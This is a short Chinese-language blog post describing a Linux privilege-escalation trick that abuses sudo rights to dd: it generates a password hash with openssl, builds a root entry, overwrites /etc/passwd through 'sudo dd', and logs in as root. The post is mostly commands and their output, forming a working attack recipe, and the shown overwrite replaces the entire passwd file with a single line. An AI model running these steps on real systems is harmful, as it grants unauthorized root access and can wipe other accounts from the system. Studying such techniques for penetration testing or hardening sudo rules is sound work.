SUDO -dd 提权法

当用户可以通过sudo执行dd命令时,可以被用来提权。通过dd命令覆盖原始/etc/passwd文件,以达到修改密码的目的

1、创建一个已知密码的hash,以备替换时使用

1
2
hh@hh:/etc$ openssl passwd -1 -salt 123 password
$1$123$0HaaUtbhct/mZ/Q/KRa5a.

2、备份原始passwd文件,以防修改错误时无法访问

1
# cp /etc/passwd /tmp/passwd

3、利用第一步里生成的hash构建新的passwd hash条目

1
2
hh@hh:/tmp# cat passwd
root:$1$123$0HaaUtbhct/mZ/Q/KRa5a.:0:0:root:/root:/bin/bash

4、使用dd覆盖原始passwd文件

1
2
3
4
hh@hh:/tmp$ cat passwd |sudo dd of=/etc/passwd
3+1 records in
3+1 records out
1757 bytes (1.8 kB, 1.7 KiB) copied, 0.000397129 s, 4.4 MB/s

5、使用刚才创建hash时使用的密码进行登录

1
2
3
hh@hh:/tmp$ su root
Password:
root@hh:/tmp#

提权成功!

posted @   隐念笎  阅读(1179)  评论(0编辑  收藏  举报
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~
点击右上角即可分享
微信分享提示